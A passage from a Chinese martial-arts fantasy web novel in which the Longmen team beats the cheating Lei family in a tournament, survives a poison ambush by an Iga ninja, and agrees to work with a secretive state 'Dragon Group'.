他今天换了一身深蓝色西装,坐在军方代表区域,看起来像个普通的文职军官。
但那双锐利的眼睛,依然让人印象深刻。
老陈也看到了王大头,微微点头,算是打招呼。
“大头,那个人是谁?”
张猛小声问,“昨天来找你的那个?”
“嗯,龙组的。”
王大头低声道,“回头再说。”
抽签开始前,协会会长先宣布了一个重要消息。
“经国家武道协会研究决定,‘科学武道发展研究中心’正式成立。”
会长朗声道,“中心将设在京城,由国家科学院、军方特殊能力部门、以及龙门武道研究会共同组建。王大头会长将担任中心特邀顾问。”
这个消息,比任何抽签结果都更震撼。
官方正式认可!国家级研究中心!三方共建!
这意味着,科学武道不再是民间探索,而是上升到了国家层面!
会场里响起一片惊呼和掌声。
许多年轻武者兴奋地看向龙门这边,眼中充满羡慕和敬佩。
但保守派那边,岳松涛、刘长老等人的脸色,一个比一个难看。
“现在,十六强抽签开始!”主持人宣布。
大屏幕滚动,第一组对阵出炉:
龙门武道研究会VS雷家一队
“果然。”王大头低声自语。
张猛握紧拳头:“妈的,还真是他们!正好,新账旧账一起算!”
周倩担忧道:“雷家一队的实力,比二队强很多。而且雷昊如果伤愈复出……”
“雷昊的伤,没那么容易好。”
南宫明月淡淡道,“但雷家一队还有其他高手。雷动,你们听说过吗?”
雷动!雷家真正的第一天才,二十七岁的化劲高手,一直在祖地闭关!
“他会出场?”吴刚皱眉。
“不确定。”
李雅调出资料,“雷动已经五年没有公开露面了。但如果雷家真的想阻击我们,不排除让他出关的可能。”
抽签继续进行。
其他对阵也陆续出炉:青城剑派对白家,少林俗家弟子会对天骄预备营二队,龙组对西北铁掌帮……
一个小时后,所有对阵确定。
比赛将在三天后开始。
散会后,王大头刚走出会议厅,就被老陈叫住了。
“王会长,借一步说话。”
两人走到走廊角落。
老陈开门见山:“抽签结果看到了?对上雷家,这是有人故意安排的。”
“猜到了。”
王大头平静道,“岳松涛?”
“不止他。”
老陈低声道,“雷家动用了一些关系,确保在十六强就对上你们。他们的目的很明确——不惜一切代价,淘汰龙门。”
“雷动会出场吗?”
“会。”
老陈肯定道,“我们得到情报,雷动三天前已经秘密抵达京城。**山把他从祖地叫出来,就是为了对付你。”
化劲中期的雷动……
王大头感觉到了压力。他虽然初窥化劲门槛,但与真正的化劲中期还有很大差距。
“另外,”老陈继续道,“雷家可能还会用盘外招。这是伊贺流提供的‘护身符’,你带着。”
他递给王大头一个拇指大小的玉牌,玉牌呈乳白色,表面刻着复杂的纹路。
“这是?”
“能抵御一次精神攻击或毒物侵蚀。”
老陈解释,“伊贺流擅长忍术和毒术,不得不防。比赛时贴身带着,有备无患。”
王大头接过玉牌,入手温润,隐隐有能量流动。
“谢谢。”
“不用谢,这是合作的一部分。”
老陈顿了顿,“比赛结束后,无论胜负,我都希望你能认真考虑合作意向。国家需要科学武道,也需要你这样的人。”
说完,他转身离开。
回到小楼,王大头召集众人开会。
“三天后对雷家一队,是硬仗。”
他开门见山,“雷动会出场,化劲中期。其他四名队员,也都是暗劲巅峰。整体实力,比天骄预备营一队还要强。”
众人神色凝重。
“但也不是没有机会。”
王大头在白板上画图,“雷家的战术,我们研究过很多次了。核心是‘惊雷阵’,五人配合,如雷霆万钧。破阵的关键,在于打乱他们的节奏。”
他看向南宫明月:“明月,你的任务是对付雷动。不需要赢,只需要牵制他,不让他发挥全部实力。”
“明白。”
南宫明月点头。
“猛哥,你对付**。小吴对付雷云。小倩和小孙,你们负责游击,干扰另外两人。”
王大头继续布置,“我会居中策应,寻找破阵机会。”
“王老师,雷动是化劲中期,明月姐她……”周倩担心道。
“我能拖住他。”
南宫明月平静道,“我的剑法,专克刚猛路数。雷动的惊雷掌再强,打不中也是枉然。”
王大头补充:“而且,我们还有科学分析。吴刚,把雷家一队所有比赛录像的数据分析做出来。我要知道他们每个人的习惯、弱点、配合规律。”
“已经在做了。”
吴刚调出平板,“初步分析显示,雷家‘惊雷阵’有七个变阵节点。每次变阵,负责衔接的雷云会有0.2秒的延迟。另外,雷动在使用‘雷霆万钧’后,有1.5秒的回气时间……”
一连串的数据,听得众人眼花缭乱,但也心中有了底。
有科学分析,就有应对的方法。
接下来的三天,龙门进入了疯狂备战状态。
训练室里,王大头指导南宫明月如何应对惊雷掌。他用全息投影模拟雷动的攻击,分析每一掌的角度、力度、节奏。
“惊雷掌第七重‘天雷引’,掌力附带雷电之气,能麻痹对手神经。”
王大头指着投影上的数据,“但雷电之气需要内力维持,掌力越强,维持时间越短。雷动最多能维持十五秒。”
他切换画面:“所以,前十五秒以闪避为主,消耗他的内力。十五秒后,他的掌力会下降三成,这时再反击。”
南宫明月认真听着,时而点头,时而提出疑问。
另一边,张猛和吴刚在对练。
张猛的硬功已经恢复到九成,吴刚的下盘功夫更加稳固。
两人模拟**和雷云的配合,寻找破解方法。
周倩和孙浩则在研究游击战术。
如何在干扰对方的同时保护自己,如何利用地形制造优势,这些都需要精确计算和默契配合。
李雅也没闲着。
她通过白子羽的关系,收集了更多雷家一队的情报,连他们平时训练的习惯、饮食偏好都摸得一清二楚。
第三天傍晚,训练结束。
众人围坐在一起,做最后的战术确认。
“记住,我们的优势是配合和
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战术执行力。”
王大头强调,“雷家虽然个人实力强,但他们的配合是固定套路,缺乏应变。我们要用灵活多变的战术,打乱他们的节奏。”
“如果……如果他们用违禁药物呢?”孙浩忽然问。
客厅里安静下来。
这是大家都担心的问题。
雷家连自家天才都敢用“暴血丹”,在团队赛中,会不会用更厉害的东西?
“龙组给了我这个。”
王大头取出老陈给的玉牌,“能抵御一次精神攻击或毒物侵蚀。另外,比赛时大家多留个心眼,发现不对立刻示警。”
他顿了顿:“但最重要的,还是实力。只要我们在擂台上堂堂正正地击败他们,任何阴谋诡计都无用。”
众人点头,眼神坚定。
夜深了。
王大头独自站在训练室里,对着全息投影上的雷动影像,一遍遍模拟对战。
化劲中期,惊雷掌第八重“雷霆万钧”,甚至可能第九重“雷霆灭世”……
每一个数据,每一个可能,都在他脑海中反复推演。
不知过了多久,南宫明月走了进来。
“还在练?”她问。
“嗯。”
王大头关闭投影,“你怎么也没睡?”
“睡不着。”
南宫明月走到窗边,看着夜空,“想起师父的一些话。”
“什么话?”
“他说,武道之争,到最后争的不是胜负,而是‘道’。”
南宫明月轻声道,“你的科学武道是一条‘道’,雷家的惊雷掌也是一条‘道’。明天那一战,是两条‘道’的碰撞。”
王大头走到她身边:“你师父的‘道’是什么?”
“剑道。”
南宫明月顿了顿,“但他说,剑道之上,还有更高的‘道’。他穷尽一生,也只窥见一斑。”
两人沉默片刻。
“明天,我会用师父的剑法,加上你的科学分析。”
南宫明月转身,眼神明亮,“让所有人看看,什么才是真正的武道。”
“我相信你。”
夜更深了。
基地里大多数灯光都已熄灭,只有少数房间还亮着——那是各支队伍在连夜备战。
雷家住所。
**山看着面前的五名队员:雷动、**、雷云、雷雨、雷鸣。
雷动二十七岁,身材挺拔,面容冷峻,双眼中有电光隐现。
他站在那里,就如同一柄出鞘的利剑,锋芒毕露。
“动儿,明天的比赛,只许胜,不许败。”
**山沉声道。
“叔父放心。”
雷动声音平淡,却带着不容置疑的自信,“龙门,不过是跳梁小丑。”
“不可轻敌。”
**山摇头,“王大头这个人,不简单。他能击败雷昊,能带领龙门走到十六强,必有过人之处。”
他从怀里取出五个小瓶,分给五人:“这是伊贺流提供的‘雷神露’,能在短时间内提升三成实力,且没有副作用。关键时刻使用。”
雷动接过小瓶,眉头微皱:“叔父,对付龙门,需要用这个?”
“以防万一。”
**山眼神阴冷,“我要的不是胜利,是碾压!是彻底摧毁!要让所有人看到,传统武道,不是那些野路子能挑战的!”
“明白了。”
雷动收起小瓶。
“另外,”
**山压低声音,“如果机会合适……可以下重手。特别是那个王大头和南宫明月,废了他们。”
雷动眼中闪过一丝犹豫,但很快消失:“是。”
第133章:雷霆之威
三天后的清晨,整个基地笼罩在一种山雨欲来的压抑中。
龙门对雷家一队的十六强战,被安排在最大的中心体育馆进行。
早上七点,观众席就已经坐满了八成。媒体区架起了数十台摄像机,几家主流平台的直播预热已经开始,实时在线人数突破千万。
这场对决的看点太多了:科学武道对传统世家、龙门黑马对雷家豪门、个人赛冠军带队冲击团队赛、还有两队在个人赛结下的梁子……每一个标签都足以吸引眼球。
龙门小楼里,众人正在做最后的准备。
王大头检查着每个人的装备。
张猛的护腕加固了,吴刚的护甲调整了角度,周倩的战术背包重新整理,孙浩的鞋子换了新的防滑垫。
南宫明月则安静地擦拭着长剑,剑身在晨光中泛着淡青色的寒光。
“记住战术。”王大头声音沉稳,“不要被他们的气势吓倒。雷家很强,但我们也不弱。科学分析给了我们应对的方法,现在需要的是执行。”
他看向南宫明月:“明月,雷动交给你。前十五秒闪避,消耗他的雷电之气。十五秒后,攻他左肋下三寸——那里是他内力运转的节点。”
南宫明月点头:“明白。”
“猛哥,**的力量很大,但转向慢。你和他硬碰硬,但要注意卸力。小吴,雷云的轻功厉害,你稳守,让他攻,消耗他的体力。”
“小倩和小孙,你们负责游击,干扰雷雨和雷鸣。我会寻找机会,破他们的‘惊雷阵’。”
众人齐声应诺。
上午九点,比赛正式开始。
两队从通道走出,现场爆发出震天的欢呼和嘘声——支持龙门的欢呼,支持雷家的嘘声。
雷家一队走在前面。雷动一身深蓝色镶金雷纹长袍,面容冷峻,眼神如电。
他身后跟着**、雷云、雷雨、雷鸣,五人气息连成一片,仿佛一体,强大的气势压得人喘不过气。
龙门这边,五人并肩而行。王大头走在最前,神色平静。身后四人眼神坚定,毫无惧色。
两队在场中相对而立。
裁判是武道协会的一位副会长,化劲中期修为,气息渊深。
他看了双方一眼,沉声道:“十六强战,五局三胜。第一局,团队擂台战。双方各派三人上场,车轮战,直到一方全部落败。现在,请双方提交第一局名单。”
王大头提交的名单:王大头、南宫明月、张猛。
雷家那边:雷动、**、雷云。
“第一局,开始!第一场,龙门王大头,对阵雷家雷动!”
裁判话音刚落,现场气氛瞬间达到沸点!
个人赛冠军对阵雷家第一天才!开场就是王对王!
擂台上,两人相对而立。
雷动看着王大头,眼神淡漠:“你能走到这里,不容易。但到此为止了。”
“请。”王大头摆出起手式。
裁判示意开始。
雷动动了!
他没有试探,一出手就是惊雷掌第八重“雷霆万钧”!一掌拍出,整个擂台仿佛都被雷云笼罩!掌风中隐现电蛇游走,雷鸣阵阵!
好强!比雷昊的惊雷掌强了不止一个档次!
王大头瞳孔收缩,《星辰观想法》全力运转,《游龙步》施展到极致,险险避开这一掌。他能感觉到,掌风擦过脸颊,皮肤传来麻痹感——雷电之气已经能外放伤人了!
但雷动根本不给他喘息之机!一掌接一掌,掌影重重,雷声隆隆!整个擂台都被雷电之气笼罩,王大头如同置身雷暴中心!
“太快了!”台下,张猛惊呼。
“这就是化劲中期……”周倩脸色发白。
但王大头没有乱。
他全神贯注,在掌影中穿梭闪避。
《星辰观想法》带来的超强感知,让他能提前0.1秒预判掌力轨迹。虽然险象环生,但始终没有中招。
十五秒过去了。
雷动的掌力没有丝毫减弱!反而越来越强!
“不对!”王大头心中一凛,“他的雷电之气维持时间超过十五秒了!”
情报有误!或者……雷动用了什么方法,延长了雷电之气的维持时间!
“哈哈哈!你以为我的‘雷霆万钧’只有十五秒?”雷动大笑,“让你见识见识,真正的惊雷掌!”
他猛吸一口气,双掌齐出,掌心中的电蛇突然暴涨,化作两道粗大的电流,如龙般扑向王大头!
“惊雷掌第九重·雷霆灭世!”
全场惊呼!
第九重!雷动竟然练成了惊雷掌最高境界!
两道电流封**王大头所有退路!避无可避!
千钧一发之际,王大头眼中精光爆射!他不再闪避,而是站在原地,双拳缓缓抬起。
体内内力按照《基础吐纳术》第三层的特殊路线疯狂运转!《星辰观想法》催动到极致!精神、意志、内力,在这一刻高度统一!
拳意·开辟!
这一拳,不再有复杂的计算,不再有精妙的技巧。
只有最纯粹的——意!
破!
双拳轰出,迎向两道电流!
“轰隆——!!!”
巨响如天雷炸裂!整个体育馆都在震动!擂台上的能量屏障剧烈闪烁,几乎破碎!
烟尘弥漫,电光四射!
所有人都屏住呼吸,死死盯着擂台。
烟尘渐渐散去。
王大头站在原地,双拳焦黑,手臂上电蛇缠绕,但他眼神依旧清澈。而对面的雷动,脸色苍白,嘴角溢出一缕鲜血,双掌微微颤抖。
平手?
不,是王大头略占上风!
因为他以化劲初期的修为,硬抗了化劲中期雷动的第九重惊雷掌!
“这……这怎么可能?”雷动眼中满是难以置信。
“科学武道,不只是理论。”王大头平静道,声音有些沙哑,“还包括对身体极限的精确掌控。你的雷电之气虽强,但力量分散。我的拳力虽弱,但高度凝聚。所以,我挡下来了。”
雷动脸色变幻,最终深吸一口气:“我承认,小看你了。但比赛还没结束。”
“当然。”王大头点头。
裁判上前检查,确认两人都还有战斗力,宣布继续。
但接下来,王大头改变了战术。他不再硬拼,而是以游走为主,消耗雷动的体力。雷动虽然实力更强,但在王大头精妙的步法和预判面前,始终无法一击制胜。
五十招后,雷动呼吸开始急促。一百招时,他掌力明显减弱。
而王大头,虽然也消耗巨大,但依靠科学呼吸法和能量分配技巧,状态保持得更好。
“第一百五十招!”王大头忽然开口。
雷动一愣。
下一秒,王大头动了!他抓住雷动一个换气的瞬间,猛地贴近,一拳轰出!
这一拳,时机把握得妙到毫巅!正是雷动旧力已尽、新力未生的刹那!
“砰!”
拳头结结实实轰在雷动胸口!
雷动连退七步,一口鲜血喷出,单膝跪地。
“第一场,龙门王大头胜!”裁判宣布。
全场死寂,然后爆发出震天的惊呼!
化劲初期的王大头,竟然击败了化劲中期的雷动!而且是用最堂堂正正的方式!
雷家那边,**山脸色铁青。岳松涛等保守派也脸色
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难看。
龙门这边,众人欢呼雀跃。
但王大头知道,这只是一场胜利。团队擂台战是三对三车轮战,他赢了第一场,但消耗巨大。接下来,要靠队友了。
第二场,南宫明月对**。
南宫明月上台时,王大头低声道:“小心,**可能用了药物。”
南宫明月点头,长剑出鞘。
**是个身高一米九的壮汉,浑身肌肉贲张,一看就是硬功高手。他瞪着南宫明月,咧嘴笑道:“小娘们,现在认输还来得及。”
南宫明月不理他,剑尖斜指。
比赛开始。
**狂吼一声,如蛮牛般冲来!双拳如锤,轰向南宫明月!
但南宫明月的剑,更快!
剑光如电,在**拳影中穿梭,每一次都精准地刺向关节、穴位等薄弱处。**力量虽大,但打不中也是枉然。
十招后,**身上已经多了三道剑伤。虽然不深,但让他暴怒不已。
“啊——!”他狂吼,从怀里掏出一个小瓶,将里面的液体一饮而尽!
“药物!”台下有人惊呼。
喝下药液的**,双眼瞬间赤红,肌肉再次膨胀,青筋如蚯蚓般暴起!气息暴涨三成!
“**!”他再次扑来,速度、力量都提升了一大截!
南宫明月眼神一冷,剑法陡然变得凌厉!
她不再游走,而是正面迎击!长剑如虹,与**的拳头硬碰硬!
“铛铛铛!”金铁交鸣声不绝于耳!
但诡异的是,每次碰撞,**都闷哼一声,拳头上留下一道剑痕。而南宫明月的剑,始终稳如磐石。
二十招后,**的药效开始减退。他动作变慢,呼吸急促。
南宫明月抓住机会,一剑刺出!
这一剑,快如闪电,直取**咽喉!
**想挡,但慢了!
“噗!”
剑尖刺入咽喉前三寸,停住。
“认输,或者死。”南宫明月冷冷道。
**脸色惨白,咬牙道:“我……认输。”
“第二场,龙门南宫明月胜!”
两连胜!
龙门只要再赢一场,就能拿下第一局!
第三场,张猛对雷云。
张猛上台前,王大头拍了拍他肩膀:“猛哥,雷云轻功好,但力量不足。你稳扎稳打,不要被他带乱节奏。”
“明白!”张猛咧嘴笑道。
比赛开始。
雷云果然一上来就施展轻功,如云般飘忽,绕着张猛游走,寻找机会。
但张猛根本不理他。他站在原地,双脚如生根,硬功催动,整个人如同铁塔。雷云攻击,他就硬抗;雷云游走,他就等待。
“你打不破我的防御,我也追不上你。”张猛咧嘴笑道,“但我的体力比你好。看谁耗得过谁?”
雷云脸色难看。确实,他的轻功消耗很大,而张猛的硬功以耐力见长。这样耗下去,他必败无疑。
三十招后,雷云开始急躁。他冒险近身,想用杀招速胜。
但张猛等的就是这个机会!
在雷云近身的瞬间,张猛猛地进步,一记“贴山靠”撞入对方怀中!
“砰!”
雷云如断线风筝般飞出去,重重摔在擂台边缘,吐血昏迷。
“第三场,龙门张猛胜!第一局,龙门三比零获胜!”
裁判的宣布,如同惊雷,在体育馆中炸响!
三比零!龙门完胜雷家一队!
而且是在雷动出场、**用药的情况下!
科学武道,用最震撼的方式,证明了它的价值!
观众席上,欢呼声如山呼海啸!
龙门众人冲上擂台,围住三位功臣。
第134章:暗流汹涌
第一局擂台战结束后的中场休息时间,体育馆里的气氛达到了沸点。
龙门三比零完胜雷家一队的消息,如同野火般传遍了整个基地,甚至通过直播传遍了全国武道界。
科学武道,这个曾经备受争议的理念,用一场酣畅淋漓的胜利,赢得了无数人的认可。
但龙门小楼里的气氛,却并不轻松。
“猛哥,你肩膀怎么样?”
周倩正在给张猛处理伤口。刚才与雷云那一撞,张猛虽然赢了,但肩膀也受了些挫伤。
“没事,皮外伤。”
张猛咧嘴笑道,“倒是大头,你硬抗雷动那一掌,真的没事?”
王大头活动了一下焦黑的双手:“还好,雷电之气已经被内力化解了。不过雷动的惊雷掌第九重,确实厉害。”
他看向南宫明月:“明月,刚才**喝的那个药……”
“是‘鬼血’。”
南宫明月肯定道,“我师父当年和伊贺流交手时,见过类似的东西。服用者短时间内实力暴涨,但瞳孔会变成暗红色,气息中带着血腥味。”
“**刚才确实瞳孔发红。”
吴刚翻着小本子,“而且根据监测数据,他的心跳在服药后从每分钟75次飙升到180次,体温升高了2度。这不是正常的激发潜力,更像是……透支生命。”
透支生命……众人心中一寒。
为了赢,雷家连自家子弟的生命都不顾了吗?
“第二局是‘夺旗战’。”
李雅调出规则,“场地在模拟丛林,范围很大。雷家可能会用更极端的手段。”
“龙组给的玉牌,大家都带好。”
王大头取出老陈给的玉牌,分给众人,“能抵御一次精神攻击或毒物侵蚀。另外,比赛中如果发现对方有异常,立刻示警,不要硬拼。”
正说着,敲门声响起。
开门,是白子羽。他脸色凝重,快步走进来。
“王会长,刚得到消息。”白子羽低声道,“**山在休息室里大发雷霆,把雷动都骂了一顿。然后……他见了岳松涛和刘长老。”
“保守派和雷家联手了?”
周倩惊讶。
“不止。”
白子羽摇头,“我的人看到,还有一个穿黑色和服的老者,从后门进入了休息室。虽然伪装得很好,但从步态看,是忍者。”
伊贺流的人!果然在场!
王大头眼神一冷:“他们想干什么?”
“不清楚。”
白子羽道,“但第二局比赛,你们一定要小心。雷家输不起这一局,可能会用非常规手段。”
他顿了顿:“另外,陈老让我转告你:无论发生什么,国家都会支持龙门。必要的时候,龙组会出手。”
送走白子羽,众人脸色更加凝重。
“妈的,玩阴的!”
张猛骂道,“大不了跟他们拼了!”
“别冲动。”
王大头沉声道,“越是这种时候,越要冷静。我们的优势是科学分析和战术配合,不是蛮干。”
他重新布置战术:“第二局夺旗战,五人上场。小吴,你负责守旗;小倩,你指挥;小孙,你侦察;猛哥和明月,你们负责进攻和策应。”
“那你呢?”
张猛问。
“我居中调度。”
王大头道,“雷家可能会针对我,所以我暂时不出现在前线。但我会通过通讯器指挥全局。”
他看向众人:“记住,这一局的关键不是夺旗,是‘活下来’。只要我们能坚持到比赛结束,就是胜利。”
二十分钟后,第二局比赛开始。
场地是基地北侧的模拟丛林,面积广阔,地形复杂。
双方的旗帜分别插在两座小山上,相距约五百米。
“第二局,夺旗战!时间四十五分钟!现在,比赛开始!”
裁判一声令下,双方队员如离弦之箭般冲入丛林。
龙门这边,吴刚直奔己方旗帜所在的小山,开始布防。
周倩和孙浩一组,从左侧迂回。张猛和南宫明月一组,从右侧突进。
王大头则在一处制高点,通过无人机和队员身上的摄像头观察全局。
丛林里很安静,只有风声和鸟鸣。
但这种安静,反而让人不安。
“前方五十米,有陷阱。”
周倩通过通讯器报告,“是简易的绊索和陷坑,手法很粗糙,不像是雷家的风格。”
“可能是干扰。”王大头分析,“继续前进,小心埋伏。”
话音刚落,右侧传来打斗声!
是张猛和南宫明月那边!
“发现雷雨和雷鸣!”
张猛吼道,“他们在布置什么东西!”
王大头调转无人机视角,只见张猛正与雷鸣缠斗,南宫明月则与雷雨对峙。而在他们不远处的地上,散落着一些黑色的球状物体。
“是***和毒气弹!”
王大头急道,“猛哥,明月,快退!”
但已经晚了!
雷雨狞笑一声,一脚踩在地上某个机关上!
“嘭!嘭!嘭!”
数颗黑色球体同时**!浓密的黑烟瞬间笼罩了整个区域!烟雾中隐隐有暗绿色的气体!
“毒烟!”
南宫明月长剑一挥,剑气将烟雾劈开一道缺口,但她还是吸入了一丝,顿时感到头晕目眩。
“明月!”
张猛想冲过去,但被雷鸣死死缠住。
就在这时,一道身影如鬼魅般出现在烟雾中!
是那个黑衣老者!伊贺流的忍者!
他手中握着一把短刀,直刺南宫明月后心!
“小心!”
王大头怒吼,从制高点一跃而下,全速冲向战场!
但距离太远,来不及了!
眼看短刀就要刺中,南宫明月突然转身,长剑如电般刺出!
“叮!”
剑尖精准地点在刀尖上!
老者眼中闪过一丝惊讶,但动作不停,左手一扬,数枚手里剑射出!
南宫明月挥剑格挡,但毒烟影响下,动作慢了半拍!
“噗噗!”
两枚手里剑射中她左肩和右腿!
“明月!”
张猛狂吼,硬扛雷鸣一拳,冲向老者!
但老者根本不与他纠缠,身形一晃,就要遁入烟雾中。
就在这时,一道人影从天而降!
王大头到了!
他人在空中,一拳轰向老者!
老者急忙举刀格挡,但这一拳的力量远超他想象!
“砰!”
短刀断裂!老者吐血倒飞,重重撞在一棵树上!
但老者极为顽强,落地瞬间又弹起,右手一扬,一颗球状物体扔向王大头!
“闪开!”
王大头急退,同时将南宫明月扑倒。
“轰!”
球体**,释放出刺鼻的白色粉末!
“是石灰粉!”
王大头闭眼,内力外放,将粉末震开。
等视野恢复,老者已经不见了踪影。雷雨和雷鸣也趁机逃走了。
“明月,你怎么样?”王大头扶起南宫明月。
南宫明月脸色苍白,左肩和右腿的伤口流出的血是暗红色的——手里剑上有毒!
“我没事。”
她咬牙道,“先比赛。”
但王大头知道,不能再继续了。
南宫明月中了毒,张猛也受了
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伤,对方还有伊贺流的忍者暗中协助。
“裁判!我们申请暂停比赛!”王大头对着通讯器喊道。
几分钟后,裁判和医务人员赶到。
检查后,医务人员脸色凝重:“是混合毒素,需要立即解毒。另外,这些烟雾和毒气,已经严重违反了比赛规则。”
裁判脸色铁青:“雷家使用违规武器和**,第二局判负!龙门直接获胜!”
三局两胜,龙门已经赢得比赛!
但没有人庆祝。
南宫明月被紧急送往医疗中心,张猛也跟去照顾。
王大头和其他人留在现场,配合调查。
很快,龙组的老陈带人赶到了。
“王会长,情况我们已经掌握了。”
老陈脸色严肃,“那个黑衣老者是伊贺流的上忍,代号‘影鬼’。我们已经布置人手追捕。”
“雷家呢?”王大头沉声问。
“**山和雷动已经被控制。”
老陈道,“但那个伊贺流忍者逃脱了。不过我们拿到了确凿证据——雷家与伊贺流勾结,使用违禁药物和武器,危害**。”
他顿了顿:“雷家,完了。”
确实完了。勾结境外势力,使用违禁药物,在国家级比赛中用毒暗算对手……任何一条都足以让雷家身败名裂。
当晚,武道协会和有关部门联合发布公告:
雷家因严重违规,取消所有比赛成绩,永久禁赛。
**山、雷动等主要人员被带走调查。雷家名下产业被查封,武道世家资格被剥夺。
这个传承三百余年的武道世家,一夜之间,土崩瓦解。
而龙门,则因为在这场风波中的表现,赢得了更高的声誉。
但王大头没有太多喜悦。
医疗中心里,南宫明月已经脱离危险,但身体还很虚弱。张猛守在床边,眼睛通红。
“明月中的毒很麻烦。”
医生对王大头说,“虽然解毒了,但毒素损伤了部分经脉,需要至少一个月才能完全恢复。”
一个月……团队赛还在进行,龙门不能没有南宫明月。
“没有更快的方法吗?”王大头问。
“除非……”
医生犹豫了一下,“除非用‘洗髓丹’之类的灵药。但那东西,有价无市。”
洗髓丹,传说中能洗筋伐髓、修复经脉的灵药。但制作方法早已失传,现存的数量极少,每一颗都是天价。
“哪里有?”
王大头直接问。
“几个顶级世家或宗门可能还有收藏。”
医生道,“但那是镇族之宝,不会轻易给人。”
王大头沉默。
这时,老陈走了进来。
“王会长,明月姑娘的情况我听说了。”
他递过一个玉盒,“这是龙组的储备,算是对你们这次协助的感谢。”
王大头打开玉盒,里面是一颗龙眼大小、晶莹剔透的丹药,散发着淡淡清香。
“这是……”
“洗髓丹。”
老陈点头,“虽然品质不是最好的,但治疗明月姑娘的伤势应该够了。”
王大头郑重接过:“多谢。”
“不必。”
老陈摇头,“这是你们应得的。另外,合作的事,考虑得怎么样了?”
王大头看着病床上的南宫明月,又看了看手中的洗髓丹,最终点头:
“龙门,愿意合作。”
老陈笑了:“明智的选择。具体细节,等你忙完比赛我们再详谈。现在,先治好明月姑娘,准备八强战吧。”
他转身离开,走到门口时又停下:“对了,八强对阵已经出来了。你们对青城剑派。”
第135章:龙组基地
洗髓丹的药效超乎想象。
深夜的医疗中心单人病房里,南宫明月盘膝坐在病床上,周身蒸腾着淡淡的白色雾气。
那颗晶莹剔透的丹药入口即化,化作一股温润而磅礴的药力,沿着受损的经脉流淌而过。
王大头站在床边,通过《星辰观想法》的感知,能清晰地“看到”那些被毒素侵蚀的经脉正在以肉眼可见的速度修复。
暗红色的淤血从伤口处渗出,被纱布吸收,伤口周围的皮肤重新变得白皙光滑。
三个小时后,南宫明月缓缓睁开眼睛。
那双清冷的眸子,比之前更加明亮锐利。
“怎么样?”
张猛第一个冲上去。
“经脉完全恢复,内力还精进了三成。”
南宫明月感受着体内的变化,眼中闪过一丝惊讶,“这洗髓丹,不是凡品。”
王大头松了口气:“龙组出手,果然大方。”
“龙组……”
南宫明月看向他,“你答应了?”
“嗯。”
王大头点头,“雷家与伊贺流勾结的事,已经触及国家底线。龙门既然卷进来了,就必须站队。与其被动,不如主动合作。”
病房门被推开,老陈走了进来。他还是那身灰色夹克,手里拎着个保温桶。
“明月姑娘醒了?刚好,食堂熬的鸡汤,补补身子。”
老陈把保温桶放在床头柜上,动作自然得像是邻家大叔。
但病房里的三人都知道,这个看似普通的中年男人,背后代表着国家最神秘的力量之一。
“陈先生。”
南宫明月微微颔首。
“别客气,叫我老陈就行。”
老陈拉过椅子坐下,看向王大头,“王会长,合作意向书带来了。你看看,有什么需要修改的条款,现在就可以提。”
他从公文包里取出厚厚一沓文件,比上次那份详细得多。
王大头接过,快速浏览。
张猛和南宫明月也凑过来看。
文件分为三部分:合**议、保密协议、资源支持清单。
合**议明确了龙门作为“民间合作单位”的权利和义务。
权利包括:获得国家在武道领域的政策支持、调用部分情报资源、参与国家重点科研项目、家人及核心成员享受特别保护。义务则是在国家需要时,提供专业咨询、协助处理特殊威胁、定期汇报科学武道研究成果。
保密协议规定,龙组的存在及合作细节属于**,泄露者将承担法律责任。
资源支持清单最让人心动:每年五亿的科研经费拨款、京城三环内一栋独立办公楼的使用权、与国家科学院共享实验室、可查阅国家武道数据库的部分权限……
“条件很优厚。”
王大头合上文件,“但我想知道,龙组为什么选择龙门?”
老陈点了根烟,烟雾在病房里弥漫开来:“三个原因。第一,科学武道这条路,国家已经研究了十年,但进展缓慢。你们的出现,让我们看到了突破的可能。”
他弹了弹烟灰:“第二,你这个人。王会长,从你激活系统到现在,不到半年时间,从一个普通外卖员成长为化劲武者,创建龙门,击败雷家……这种成长速度和心性,值得投资。”
王大头眼神微动——老陈知道系统的事?
“别紧张。”
老陈似乎看穿了他的想法,“我们不知道你的具体奇遇,但武道界自古就有‘顿悟’‘传承’的说法。国家关注的是结果,不是过程。”
他继续道:“第三,局势需要。王会长,你觉得武道界现在太平吗?”
这个问题让病房里的气氛凝重起来。
“雷家勾结伊贺流,只是冰山一角。”
老陈脸色严肃,“根据我们掌握的情报,南洋降头师、欧洲黑暗议会、美国超能局……这些境外超凡势力,都在通过各种方式渗透华夏。而国内,一些武道世家和宗门,为了利益,已经和境外势力勾结。”
他掐灭烟头:“国家需要一股新的力量,来平衡甚至打破现有的格局。龙门,就是我们的选择。”
王大头沉默片刻:“如果我拒绝呢?”
“你不会。”
老陈笑了,“因为你比谁都清楚,单靠龙门,走不远。雷家倒了,但还有岳家、刘家,还有那些藏在暗处的敌人。只有和国家合作,龙门才能真正站稳脚跟。”
他说得对。
王大头看向南宫明月和张猛。两人都微微点头。
“好,我签字。”
王大头拿起笔,在文件末尾签下自己的名字。
老陈收起文件,笑容更加亲切:“欢迎加入,王顾问——这是你在龙组的内部代号。另外,这是给你的第一个任务。”
他又递过来一份薄薄的文件。
王大头翻开,里面只有一张照片和几行字。
照片上是一个三十岁左右的男子,穿着黑色作战服,面容冷峻,左眼下方有一道浅疤——正是南宫明月在训练场见过的那个人。
“龙组特别行动队队长,代号‘苍龙’,真名赵铁军。”
老陈介绍,“你的任务是,在八强赛中,逼他出手。”
“为什么?”
王大头皱眉。
“我们要评估他的实力和状态。”
老陈顿了顿,“赵铁军三个月前执行任务时,接触过‘鬼血’。虽然及时处理,但我们怀疑……他可能被影响了。”
南宫明月瞳孔一缩:“被鬼血影响的人,会怎样?”
“初期实力暴涨,但性格会变得暴戾、多疑。”
老陈沉声道,“后期……会完全失去理智,变成只知道杀戮的怪物。**在擂台上的表现,你们都看到了。”
张猛倒吸一口凉气:“那你们还让他带队参赛?”
“这是测试,也是治疗。”
老陈看向王大头,“赵铁军是龙组最优秀的战士之一,我们不能轻易放弃。如果能在战斗中激发他的意志,配合龙组的治疗方案,还有恢复的可能。”
“所以让我当磨刀石?”
王大头笑了,“陈先生,你就不怕这把刀太锋利,把我斩了?”
“你会赢的。”
老陈肯定道,“我看过你和雷动的比赛。你的实力,不止表面上那些。而且……你不是一个人。”
他站起身:“三天后,龙组会派专车来接你们去基地。有些东西,需要让你们亲眼看看。好好休息,八强赛,加油。”
老陈离开后,病房里陷入沉默。
“大头,这事靠谱吗?”
张猛第一个开口,“我总觉得那个老陈,藏得太深。”
